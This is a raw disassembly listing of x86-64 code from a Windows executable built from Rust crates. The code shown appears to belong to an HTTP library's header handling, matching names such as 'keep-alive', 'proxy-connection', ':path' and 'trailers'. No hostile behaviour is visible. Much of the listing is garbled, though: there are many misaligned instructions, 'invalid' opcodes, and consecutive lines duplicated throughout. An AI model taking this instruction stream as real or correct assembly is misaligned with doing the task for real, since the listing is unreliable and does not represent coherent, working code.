add byte [rax], al
mov ecx, 1
mov r8d, 4
jmp 0x14000ff40
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0x2a
jmp 0x14000ff40
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0xd
jmp 0x14000ff40
add byte [rax], al
add byte [rax], al
mov r10b, 4
mov r11d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
lea r8, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
jmp 0x14000ff48
invalid
lea eax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov r8d, 0xe
add byte [rax], al
add cl, ch
movsb byte [rdi], byte [rsi]
add al, byte [rax]
add byte [rcx - 0x4e], al
mov r10b, 7
jmp 0x14000ff40
mov r10b, 4
mov r11d, 5
lea r8, [0x14018dd8c]
invalid
add eax, 0x4c000000
lea eax, [0x14018dd8c]
invalid
add cl, ch
lea eax, [rdx]
add byte [rax], al
jmp 0x14000ff48
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
add eax, 0x12216e
add eax, 0x12216e
mov r9d, 1
xor edx, edx
xor r8d, r8d
invalid
shr cl, 0x68
add al, byte [rax]
add byte [rcx - 0x4e], al
mov r10b, 7
jmp 0x14000ff42
add bl, ch
or byte [rcx - 0x4e], al
mov r10b, 7
mov dl, 7
mov edx, 0xcc
jmp 0x14000ff48
sub dword [rsp + 0x20], eax
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
add byte [rcx - 0x48], al
sbb eax, 0xe9000000
invalid
mov r8d, 0x1d
jmp 0x14000ff40
sub dword [rsp + 0x20], eax
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
add byte [rcx - 0x48], al
and byte [rax], al
add byte [rax], al
mov r8d, 0x20
jmp 0x14000ff40
sub dword [rsp + 0x20], eax
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
add byte [rcx - 0x48], al
add byte cs:[rax], al
add cl, ch
out dx, eax
add dword [rax], eax
add byte [rdi], cl
invalid
mov r8d, 0x2e
jmp 0x14000ff40
push rdi
ror byte [rdi], 0x29
and al, 0x20
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 0x10
jmp 0x14000ff40
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov r8d, 0x28
jmp 0x14000ff40
cwde
and byte [rdx], dl
add byte [rcx - 0x47], al
mov ecx, 1
mov ecx, 1
mov r8d, 8
jmp 0x14000ff40
add byte [rax], al
add cl, ch
pop qword [rcx]
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x140131e38]
mov r9d, 1
mov ecx, 1
mov ecx, 1
mov r8d, 0x46
jmp 0x14000ff40
mov ecx, 1
mov r8d, 0x2b
jmp 0x14000ff40
mov ecx, 1
mov r8d, 0x4a
jmp 0x14000ff40
mov ecx, 1
mov r8d, 0x11
jmp 0x14000ff40
mov ecx, 1
mov r8d, 0x19
jmp 0x14000ff40
mov ecx, 1
mov r8d, 0x1a
jmp 0x14000ff40
mov ecx, 1
mov r8d, 0x27
jmp 0x14000ff40
mov ecx, 1
mov r8d, 0x17
jmp 0x14000ff40
adc al, byte [rax]
mov r9d, 1
mov r8d, 0x41
jmp 0x14000ff40
adc al, byte [rax]
mov r9d, 1
mov r8d, 0x42
jmp 0x14000ff40
adc al, byte [rax]
mov r9d, 1
mov r8d, 0x3a
jmp 0x14000ff40
adc al, byte [rax]
mov r9d, 1
mov r8d, 0x2f
jmp 0x14000ff40
xor edx, edx
xor r11d, r11d
xor r10d, r10d
mov qword [rcx], rdx
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r11
mov qword [rcx + 0x18], 0
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], r9
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rcx + 0x30], xmm0
mov byte [rcx + 0x40], r10b
mov eax, dword [rsp + 0x30]
mov edx, dword [rsp + 0x33]
mov dword [rcx + 0x41], eax
mov dword [rcx + 0x44], edx
add rsp, 0x60
pop rsi
ret
test bh, 1
je 0x14001011d
shr rdi, 5
sub rax, rdi
add rbx, rdi
add rcx, rdi
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rbx
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x88]
call fcn.140008100
mov qword [rsp + 0xa0], rdi
mov rax, qword [rsp + 0x78]
mov rcx, rax
sub rcx, rdi
jb 0x1400101c7
mov qword [rsp + 0x78], rcx
add qword [rsp + 0x70], rdi
mov rax, qword [rsp + 0x78]
mov qword [rsi + 0x10], rax
mov rax, qword [rsp + 0x80]
mov qword [rsi + 0x18], rax
mov dword [rsi + 0x18], eax
mov dword [rsi + 0x18], eax
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rsi], xmm0
jmp 0x140010133
mov r12, qword [rsp + 0x28]
mov r13, qword [rsp + 0x38]
movzx eax, byte [0x14019f308]
mov edx, 0x28
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14001024e
add r13, r15
lea rcx, [rbx + r15]
sub r12, r15
shr edi, 2
and edi, 7
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], 1
mov rdi, rax
mov rax, qword [rsp + 0x28]
add rax, r14
xor ecx, ecx
sub rbx, r14
cmovb rbx, rcx
mov rcx, qword [rsp + 0x38]
sub rcx, r14
test dil, 1
jne 0x14001002e
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rdi
lea rax, [0x14016a948]
mov qword [rsi], rax
add rsp, 0xe0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x68], ebx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [0x1400318a0]
lea rax, [0x1400318a0]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
lea rax, str.cannot_advance_past__remaining_:___
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0xc8], 0
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rcx*8], ah
and al, 0xc8
mov dword [rsp + 0xc8], 0
and al, 0xc8
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x48
lea rax, [rsp + 0x48]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0xa8]
call fcn.1401224d0
mov qword [rsp + 0xd8], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0xa8], rax
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x48
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x48
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 2
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x14cad7
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x14cad7
lea rcx, [rsp + 0xa8]
call fcn.1401224d0
mov word [rax + rbp*4], fs
add byte [rax], al
add al, ch
invalid
mov ecx, 8
mov edx, 0x28
call fcn.140122190
int3
and al, 0x50
movups xmm0, xmmword [rdx + 0x20]
movups xmm1, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rdi, qword [rsp + 0x90]
movzx esi, byte [rsp + 0x98]
add byte [rax], al
add byte [rax], al
cmp sil, 0x14
sete al
ror byte [rcx + 0x7de280f2], 0x80
cli
sete r10b
ror byte [rcx + 0x7de280f2], 0x80
cli
sete r10b
test rdi, rdi
jne 0x140010604
test dword [rdx], edx
add eax, dword [rax]
invalid
test dword [rdx], edx
add eax, dword [rax]
add byte [rax], cl
ror byte [rdi], 1
test byte [rdx], cl
add eax, dword [rax]
add byte [rax - 0x75], cl
mov eax, dword [rcx]
mov byte [rax], 1
or al, dl
je 0x140010604
mov rax, qword [rcx]
mov eax, dword [rcx]
mov byte [rax], 1
mov r8, qword [rsp + 0x40]
jmp 0x1400108a6
invalid
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x25]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x140010717
mov r9, qword [rax + 0xb8]
test r9, r9
je 0x14001039a
lea rcx, [rax + 0xd0]
mov rdx, qword [rax + 0xc0]
mov r8, qword [rax + 0xc8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xc8], xmm1
movups xmmword [rax + 0xb8], xmm0
add byte [rax], al
add cl, ch
loop 0x1400103b6
add byte [rax], al
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x27]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x140010717
mov r9, qword [rax + 0x78]
test r9, r9
je 0x140010489
lea rcx, [rax + 0x90]
mov rdx, qword [rax + 0x80]
mov r8, qword [rax + 0x88]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0x88], xmm1
movups xmmword [rax + 0x78], xmm0
jmp 0x140010599
add cl, byte [rdi]
adc byte [rdx + 0x10], cl
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001057c
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0x98], 0
jne 0x14001057c
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x2a]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x140010717
mov r9, qword [rax + 0x98]
test r9, r9
je 0x140010533
lea rcx, [rax + 0xb0]
mov rdx, qword [rax + 0xa0]
mov r8, qword [rax + 0xa8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xa8], xmm1
movups xmmword [rax + 0x98], xmm0
jmp 0x140010599
mov rax, qword [rcx]
mov byte [rax], 1
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call qword [rax + 0x10]
nop
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
cmp bl, 0xa
setb al
test rsi, rsi
sete cl
or cl, al
jne 0x140010599
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x140010624
mov rsi, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov rax, rsi
cmp rdx, 0xa
je 0x140010637
jmp 0x140010676
mov rbx, rcx
mov ecx, esi
call fcn.140024640
mov rcx, rbx
cmp rdx, 0xa
jne 0x140010676
cmp byte [rax], 0x6b
jne 0x140010676
cmp byte [rax + 1], 0x65
jne 0x140010676
cmp byte [rax + 2], 0x65
jne 0x140010676
cmp byte [rax + 3], 0x70
jne 0x140010676
cmp byte [rax + 4], 0x2d
jne 0x140010676
cmp byte [rax + 5], 0x61
jne 0x140010676
cmp byte [rax + 6], 0x6c
jne 0x140010676
cmp byte [rax + 7], 0x69
jne 0x140010676
cmp byte [rax + 8], 0x76
jne 0x140010676
cmp byte [rax + 9], 0x65
je 0x1400102fa
test rdi, rdi
je 0x140010768
mov rsi, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov rax, rsi
cmp rdx, 0x10
je 0x14001077b
jmp 0x1400107de
fadd dword [rax]
add byte [rax], al
jmp 0x140010599
invalid
cmp byte [rax + 0x108], 0
add byte [rax], al
jne 0x140010727
mov byte [rax + 0x108], 1
add dword [rax], eax
add byte [rcx], al
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
push rsp
and al, 0x68
push rsp
and al, 0x68
jmp 0x140010596
mov eax, dword [rcx + 0x10]
mov r9, qword [r8]
add r9, 0x2a
add ecx, 0x2a
add ecx, 0x2a
mov qword [r8], r9
mov rcx, qword [rcx + 0x18]
sbb byte [rax - 0x75], cl
add byte [rbx + rdi + 9], cl
sbb byte [rax - 0x75], cl
add byte [rbx + rdi + 9], cl
jae 0x140010831
mov word [rax + 0xf8], dx
jmp 0x140010599
mov rbx, rcx
mov ecx, esi
call fcn.140024640
mov rcx, rbx
cmp rdx, 0x10
jne 0x1400107de
cmp byte [rax], 0x70
jne 0x1400107de
cmp byte [rax + 1], 0x72
jne 0x1400107de
cmp byte [rax + 2], 0x6f
jne 0x1400107de
cmp byte [rax + 3], 0x78
jne 0x1400107de
cmp byte [rax + 4], 0x79
jne 0x1400107de
cmp byte [rax + 5], 0x2d
jne 0x1400107de
cmp byte [rax + 6], 0x63
jne 0x1400107de
cmp byte [rax + 7], 0x6f
jne 0x1400107de
cmp byte [rax + 8], 0x6e
jne 0x1400107de
cmp byte [rax + 9], 0x6e
jne 0x1400107de
cmp byte [rax + 0xa], 0x65
jne 0x1400107de
cmp byte [rax + 0xb], 0x63
jne 0x1400107de
cmp byte [rax + 0xc], 0x74
jne 0x1400107de
cmp byte [rax + 0xd], 0x69
jne 0x1400107de
cmp byte [rax + 0xe], 0x6f
jne 0x1400107de
cmp byte [rax + 0xf], 0x6e
je 0x1400102fa
test rdi, rdi
jne 0x140010813
cmp sil, 0x43
jne 0x140010813
mov r8, qword [rsp + 0x40]
cmp r8, 8
jne 0x140010808
mov rax, qword [rsp + 0x38]
movabs rdx, 0x7372656c69617274
cmp qword [rax], rdx
je 0x14001084a
mov rax, qword [rcx]
mov byte [rax], 1
jmp 0x1400108a6
mov rax, qword [rcx + 8]
mov byte [rax], 1
test rdi, rdi
je 0x140010851
movzx esi, byte [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
jmp 0x14001085e
cmp byte [rax + 0x108], 0
jne 0x140010599
mov byte [rax + 0x108], 1
jmp 0x140010599
mov rax, qword [rcx + 8]
mov byte [rax], 1
mov rbx, rcx
mov ecx, esi
call fcn.140012140
mov rcx, rbx
mov r8, qword [rsp + 0x40]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
add rdx, r8
add rdx, r9
add rdx, 0x20
mov qword [rax], rdx
mov rax, qword [rcx + 0x18]
sbb byte [rax + 0x3b], cl
adc byte [rbx + 0xf], dh
sbb byte [rax + 0x3b], cl
adc byte [rbx + 0xf], dh
test rdi, rdi
test edi, edi
je 0x1400108e1
mov rdx, qword [rsp + 0xa0]
jmp 0x1400108f4
and al, 0xa0
add byte [rax], al
add bl, ch
mov rax, qword gs:[rcx + 0x20]
mov rax, qword [rcx + 0x20]
mov rax, qword [rcx + 0x20]
mov rax, qword [rax]
cmp byte [rax + 0x108], 0
jne 0x1400108a6
mov byte [rax + 0x108], 1
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
push rsp
and al, 0x38
push rsp
and al, 0x38
call qword [rax + 0x10]
test rdi, rdi
je 0x140010599
lea rcx, [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rdi + 0x10]
jmp 0x140010599
mov rdi, rcx
mov ecx, esi
mov rsi, r8
call fcn.140012140
mov r8, rsi
mov rcx, rdi
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
mov r9, qword [rcx + 0x100]
add rdx, r8
add rdx, r9
add rdx, 0x20
mov qword [rcx + 0x100], rdx
mov rcx, qword [rax]
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x80], rax
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0xb0]
lea r8, [rsp + 0x60]
call fcn.140012160
cmp al, 2
jne 0x140010599
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE_
lea r9, [0x14015d270]
lea r8, [rsp + 0x2f]
mov edx, 0x17
call fcn.140122900
mov eax, 3
jmp 0x1400109d5
mov r9, qword [rcx + 0x10]
mov r10, qword [r9]
add rax, r10
add rax, 0x27
mov qword [r9], rax
mov r9, qword [rcx + 0x18]
mov rcx, qword [rdi]
cmp rax, qword [r9]
jae 0x140010a24
inc rdx
add rcx, 0x60
mov r14, rdx
mov r15, r8
call fcn.140012b70
mov rax, qword [rdi]
mov byte [rax + 0x60], bl
mov ecx, dword [r14]
mov edx, dword [r14 + 3]
mov dword [rax + 0x61], ecx
mov dword [rax + 0x64], edx
mov qword [rax + 0x68], r15
mov qword [rax + 0x70], rsi
jmp 0x140010599
cmp byte [rcx + 0x108], 0
jne 0x1400105d6
mov byte [rcx + 0x108], 1
jmp 0x1400105d6
add rsp, 0x1c0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
adc byte [rsp + 0x41], cl
movups xmm2, xmmword [rsp + 0x51]
movups xmm3, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x148], xmm3
pushfq
and al, 0x48
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0x139], edx
pushfq
and al, 0x48
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0x139], edx
movups xmmword [rsp + 0x129], xmm1
movups xmmword [rsp + 0x119], xmm0
mov ecx, dword [rsp + 0x71]
mov dword [rsp + 0x159], ecx
mov ecx, dword [rsp + 0x74]
mov dword [rsp + 0x15c], ecx
mov byte [rsp + 0x118], al
mov byte [rsp + 0x158], bpl
mov r15, qword [rdi + 8]
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, rdi
call fcn.140011c10
cmp byte [rsp + 0x30], 0
je 0x140010beb
movzx eax, byte [rsp + 0x31]
mov byte [rsi], al
mov byte [rsi + 0x40], 8
lea rcx, [rsp + 0x118]
call fcn.1400950c0
jmp 0x140010aaf
mov r14, qword [rsp + 0x38]
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
mov qword [rdi + 8], r15
add rax, r15
jb 0x140011a29
mov rcx, qword [rdi]
mov rcx, qword [rcx + 8]
cmp rax, rcx
ja case.default.0x140010cd8
mov qword [rdi + 8], rax
test r14, r14
je 0x140010d84
add rax, r8
jb 0x140011a29
cmp rax, rcx
ja case.default.0x140010cd8
mov qword [rdi + 8], rax
movaps xmm0, xmmword [rsp + 0xe0]
movups xmmword [rsp + 0x38], xmm0
mov rax, qword [rsp + 0xf0]
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xe1], al
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xe1], al
movaps xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xaf], rax
mov rax, qword [rsp + 0xaf]
mov qword [rsp + 0x98], rax
movzx eax, bpl
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rdi + rbp*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rdi + rbp*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax + 0xf], al
mov dh, 0xc5
add bpl, 0xfe
dec rax
xor ecx, ecx
cmp bpl, 6
movzx edx, byte [rsp + 0x38]
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rsp + 0x89], xmm0
mov qword [rsp + 0x80], r14
cmovb rcx, rax
mov byte [rsp + 0x88], dl
lea rax, [0x140191a90]
add eax, 0x180dbf
add eax, 0x180dbf
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.14000ff90
mov r14, qword [rsp + 0x30]
movzx eax, byte [rsp + 0x38]
movups xmm0, xmmword [rsp + 0x39]
movaps xmmword [rsp + 0xa0], xmm0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0xaf], rcx
test r14, r14
je 0x140010bd3
invalid
invalid
invalid
movzx ecx, byte [rsp + 0x158]
mov rdx, qword [rsp + 0xaf]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x98], rdx
movzx edx, cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rdi], cl
mov dh, 0xd1
add cl, 0xfe
dec rdx
xor r8d, r8d
cmp cl, 6
movaps xmm0, xmmword [rsp + 0xa0]
add byte [rdi], cl
adc dword [rsp + 0x89], eax
mov qword [rsp + 0x80], r14
cmovb r8, rdx
mov byte [rsp + 0x88], al
lea rax, [0x140191a90]
movsxd rcx, dword [rax + r8*4]
add rcx, rax
jmp rcx
mov rax, qword [rsp + 0x118]
test rax, rax
je 0x140011508
lea rdx, [rsp + 0x130]
mov r8, qword [rsp + 0x120]
mov r9, qword [rsp + 0x128]
lea rcx, [rsp + 0xe0]
call qword [rax]
mov rax, qword [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe8]
movups xmm0, xmmword [rsp + 0xe9]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x180], eax
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x180], eax
mov rdx, qword [rsp + 0xf8]
mov qword [rsp + 0x18f], rdx
jmp 0x140011512
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x8f
add dword [rax], eax
add cl, ch
xchg edx, eax
invalid
jb 0x140011a29
mov rax, qword [rdi]
mov rax, qword [rax + 8]
cmp r14, rax
ja case.default.0x140010cd8
mov qword [rdi + 8], r14
test r15, r15
je 0x140010fc1
add r14, rbx
jb 0x140011a29
cmp r14, rax
ja case.default.0x140010cd8
mov qword [rdi + 8], r14
mov qword [rsp + 0xc0], r15
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0xc8], xmm0
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xd8], rax
mov r8, qword [rsp + 0x170]
test r8, r8
je 0x140010fe5
mov rdi, qword [rsp + 0x168]
cmp byte [rdi], 0x3a
jne 0x140010ff6
add r8, 0xfffffffffffffffb
cmp r8, 5
sar bl, 0x49
cmp eax, 5
ja case.0x140010f36.6
lea rax, [0x140191aac]
movsxd rcx, dword [rax + r8*4]
add rcx, rax
jmp rcx
cmp byte [rdi + 1], 0x70
jne case.0x140010f36.6
jo 0x140010f4c
test dword [rcx - 0x7ffffff6], ecx
jg 0x140010f47
cmp byte [rdi + 2], 0x61
jne case.0x140010f36.6
invalid
invalid
test dword [rdi + 0xa], edi
add byte [rax], al
invalid
add byte [rax + 0xf74037f], al
test dword [rbp + 0xa], esi
add byte [rax], al
cmp byte [rdi + 3], 0x74
jne case.0x140010f36.6
cmp byte [rdi + 4], 0x68
jne case.0x140010f36.6
movups xmm0, xmmword [rsp + 0xc0]
movups xmm1, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x118]
lea rdx, [rsp + 0x30]
call fcn.140015ac0
mov rax, qword [rsp + 0x118]
test rax, rax
je 0x140011a1d
movups xmm0, xmmword [rsp + 0x120]
movups xmmword [rsi + 8], xmm0
mov rcx, qword [rsp + 0x130]
mov qword [rsi], rax
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 5
jmp 0x1400119f5
lea rcx, [rsp + 0xc0]
mov rdx, rdi
mov r8, rbx
call fcn.14000ff90
mov r8, qword [rsp + 0x170]
test r8, r8
jne 0x140010f09
mov byte [rsi], 0
mov byte [rsi + 0x40], 8
mov rdi, qword [rsp + 0x168]
and al, 0x68
add dword [rax], eax
add bl, ch
invalid
and al, 0x68
add dword [rax], eax
add bl, ch
cmp byte [rax - 0x73], cl
sbb eax, 0x134beb
lea rbx, [0x140145be8]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x180]
lea ecx, [rsp + 0x180]
lea ecx, [rsp + 0x180]
lea r9, [rsp + 0x30]
mov rdx, rdi
call fcn.140024680
movzx eax, byte [rsp + 0x190]
cmp al, 3
jne 0x1400113ad
mov byte [rsi], 7
mov byte [rsi + 0x40], 8
lea rcx, [rsp + 0xd8]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
call qword [rax + 0x10]
lea rcx, [rsp + 0x178]
mov rax, qword [rsp + 0x160]
mov r8, qword [rsp + 0x170]
mov rdx, rdi
call qword [rax + 0x10]
jmp 0x140010aaf
invalid
dec dword [rax - 0x75]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rdi], cl
mov dh, 0x8c
and al, 0x88
add byte [rax], al
mov rax, qword [rsp + 0x80]
movzx ecx, byte [rsp + 0x88]
add byte [rbx + 0x892494], cl
add byte [rax], al
add byte [rbx + 0x892494], cl
add byte [rax], al
movzx r8d, word [rsp + 0x8d]
movzx r9d, byte [rsp + 0x8f]
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x40], xmm0
and al, 0x40
and al, 0x40
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x38], cl
mov dword [rsp + 0x39], edx
mov word [rsp + 0x3d], r8w
mov byte [rsp + 0x3f], r9b
mov rbx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0xe0]
mov rdx, rbx
mov r8, rdi
call fcn.14000a170
cmp dword [rsp + 0xe0], 1
je 0x140011310
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x14001140f
mov rcx, qword [rsp + 0x48]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 5
jmp 0x140010bd9
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov r8, rbx
call fcn.1400264b0
cmp byte [rsp + 0x30], 0xb
jne 0x1400113ce
mov byte [rsi], 7
mov byte [rsi + 0x40], 8
jmp 0x14001159c
add al, 0
invalid
add al, 0
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x80]
movzx ecx, byte [rsp + 0x88]
mov edx, dword [rsp + 0x89]
mov rax, qword [rsp + 0x80]
movzx ecx, byte [rsp + 0x88]
mov edx, dword [rsp + 0x89]
